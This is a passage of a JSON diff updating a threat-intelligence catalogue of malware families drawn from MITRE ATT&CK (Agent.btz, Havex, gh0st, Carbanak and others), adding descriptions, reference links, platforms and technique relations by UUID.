"https://securelist.com/android-trojan-found-in-targeted-attack-58/35552/" ], - "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39" + "synonyms": [ + "Android/Chuli.A" + ] }, - "value": "Agent.btz" + "related": [ + { + "dest-uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "d05f7357-4cbe-47ea-bf83-b8604226d533", + "value": "Android/Chuli.A - S0304" }, { - "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it.[[Citation: Symantec Dragonfly]]\n\nAliases: Backdoor.Oldrea, Havex", + "description": "[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)", "meta": { + "external_id": "S0001", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0093", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" + "https://attack.mitre.org/software/S0001", + "http://www.symantec.com/connect/blogs/bios-threat-showing-again" + ], + "synonyms": [ + "Trojan.Mebromi" + ] + }, + "related": [ + { + "dest-uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec", + "value": "Trojan.Mebromi - S0001" + }, + { + "description": "[ANDROIDOS_ANSERVER.A](https://attack.mitre.org/software/S0310) is Android malware that is unique because it uses encrypted content within a blog site for command and control. (Citation: TrendMicro-Anserver)", + "meta": { + "external_id": "S0310", + "refs": [ + "https://attack.mitre.org/software/S0310", + "http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/" + ], + "synonyms": [ + "ANDROIDOS_ANSERVER.A" + ] + }, + "related": [ + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "4bf6ba32-4165-42c1-b911-9c36165891c8", + "value": "ANDROIDOS_ANSERVER.A - S0310" + }, + { + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)", + "meta": { + "external_id": "S0092", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0092", + "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" + ], + "synonyms": [ + "Agent.btz" + ] + }, + "related": [ + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "40d3e230-ed32-469f-ba89-be70cc08ab39", + "value": "Agent.btz - S0092" + }, + { + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)", + "meta": { + "external_id": "S0093", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0093", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" ], "synonyms": [ "Backdoor.Oldrea", "Havex" - ], - "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974" + ] }, "related": [ { @@ -234,41 +1960,179 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Backdoor.Oldrea" + "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974", + "value": "Backdoor.Oldrea - S0093" }, { - "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums.[[Citation: Symantec Dragonfly]]", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0094", - "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" + "external_id": "S0094", + "mitre_platforms": [ + "Windows" ], - "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d" + "refs": [ + "https://attack.mitre.org/software/S0094", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + ], + "synonyms": [ + "Trojan.Karagany" + ] }, - "value": "Trojan.Karagany" + "related": [ + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "value": "Trojan.Karagany - S0094" }, { - "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR.[[Citation: Ge 2011]]", + "description": "[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0001", - "http://www.symantec.com/connect/blogs/bios-threat-showing-again" + "external_id": "S0098", + "mitre_platforms": [ + "Windows" ], - "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec" - }, - "value": "Trojan.Mebromi" - }, - { - "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.[[Citation: FireEye admin@338 March 2014]][[Citation: Palo Alto T9000 Feb 2016]]", - "meta": { "refs": [ - "https://attack.mitre.org/wiki/Software/S0098", - "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/", - "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html" + "https://attack.mitre.org/software/S0098", + "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html", + "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" ], - "uuid": "876f6a77-fbc5-4e13-ab1a-5611986730a3" + "synonyms": [ + "T9000" + ] }, "related": [ { @@ -277,18 +2141,116 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "T9000" + "uuid": "876f6a77-fbc5-4e13-ab1a-5611986730a3", + "value": "T9000 - S0098" }, { - "description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.[[Citation: Villeneuve et al 2014]]", + "description": "[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)", "meta": { + "external_id": "S0014", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0014", + "https://attack.mitre.org/software/S0014", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" ], - "uuid": "67fc172a-36fa-4a35-88eb-4ba730ed52a6" + "synonyms": [ + "BS2005" + ] }, "related": [ { @@ -304,18 +2266,32 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "BS2005" + "uuid": "67fc172a-36fa-4a35-88eb-4ba730ed52a6", + "value": "BS2005 - S0014" }, { - "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon.[[Citation: Baumgartner Naikon 2015]]", + "description": "[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)", "meta": { + "external_id": "S0060", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0060", + "https://attack.mitre.org/software/S0060", "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" ], - "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481" + "synonyms": [ + "Sys10" + ] }, "related": [ { @@ -324,18 +2300,111 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "Sys10" + "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481", + "value": "Sys10 - S0060" }, { - "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups.[[Citation: FireEye Hacking Team]]", + "description": "[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)", "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0032", - "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating%20hustle.html" + "external_id": "S0010", + "mitre_platforms": [ + "Windows" ], - "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24" + "refs": [ + "https://attack.mitre.org/software/S0010", + "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf" + ], + "synonyms": [ + "Lurid", + "Enfal" + ] + }, + "related": [ + { + "dest-uuid": "2a4cacb7-80a1-417e-8b9c-54b4089f35d9", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad", + "value": "Lurid - S0010" + }, + { + "description": "[gh0st](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)", + "meta": { + "external_id": "S0032", + "mitre_platforms": [ + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/software/S0032", + "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + ], + "synonyms": [ + "gh0st" + ] }, "related": [ { @@ -344,665 +2413,392 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "gh0st" - }, - { - "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.[[Citation: Cisco H1N1 Part 1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0132", - "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" - ], - "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd" - }, - "value": "H1N1" - }, - { - "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server.[[Citation: Mandiant APT1 Appendix]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0109", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" - ], - "uuid": "1d808f62-cf63-4063-9727-ff6132514c22" - }, - "related": [ + }, { - "dest-uuid": "b5be84b7-bf2c-40d0-85a9-14c040881a98", + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "WEBC2" + "uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "value": "gh0st - S0032" }, { - "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.[[Citation: FireEye APT30]]\n\nAliases: BACKSPACE, Lecna", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)", "meta": { + "external_id": "S0200", + "mitre_platforms": [ + "Windows" + ], "refs": [ - "https://attack.mitre.org/wiki/Software/S0031", - "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + "https://attack.mitre.org/software/S0200", + "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" ], "synonyms": [ - "BACKSPACE", - "Lecna" - ], - "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d" + "Dipsind" + ] }, "related": [ { - "dest-uuid": "cd6c5f27-cf7e-4529-ae9c-ab5b85102bde", + "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "BACKSPACE" + "uuid": "e170995d-4f61-4f17-b60e-04f9a06ee517", + "value": "Dipsind - S0200" }, { - "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.[[Citation: FireEye FIN7 April 2017]]", + "description": "[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)", "meta": { + "external_id": "S0300", "refs": [ - "https://attack.mitre.org/wiki/Software/S0151", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + "https://attack.mitre.org/software/S0300", + "http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/" ], - "uuid": "71ac10de-1103-40a7-b65b-f97dab9769bf" + "synonyms": [ + "DressCode" + ] }, "related": [ { - "dest-uuid": "0ced8926-914e-4c78-bc93-356fb90dbd1f", + "dest-uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "ff742eeb-1f90-4f5a-8b92-9d40fffd99ca", + "value": "DressCode - S0300" + }, + { + "description": "[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)", + "meta": { + "external_id": "S0030", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0030", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf", + "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/", + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + ], + "synonyms": [ + "Carbanak", + "Anunak" + ] + }, + "related": [ + { + "dest-uuid": "8c246ec4-eaa5-42c0-b137-29f28cbb6832", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "2815a353-cd56-4ed0-8581-812b94f7a326", + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "HALFBAKED" - }, - { - "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic.[[Citation: Mandiant APT1]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0025", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283" - }, - "related": [ + "type": "uses" + }, { - "dest-uuid": "e2c18713-0a95-4092-a0e9-76358512daad", + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 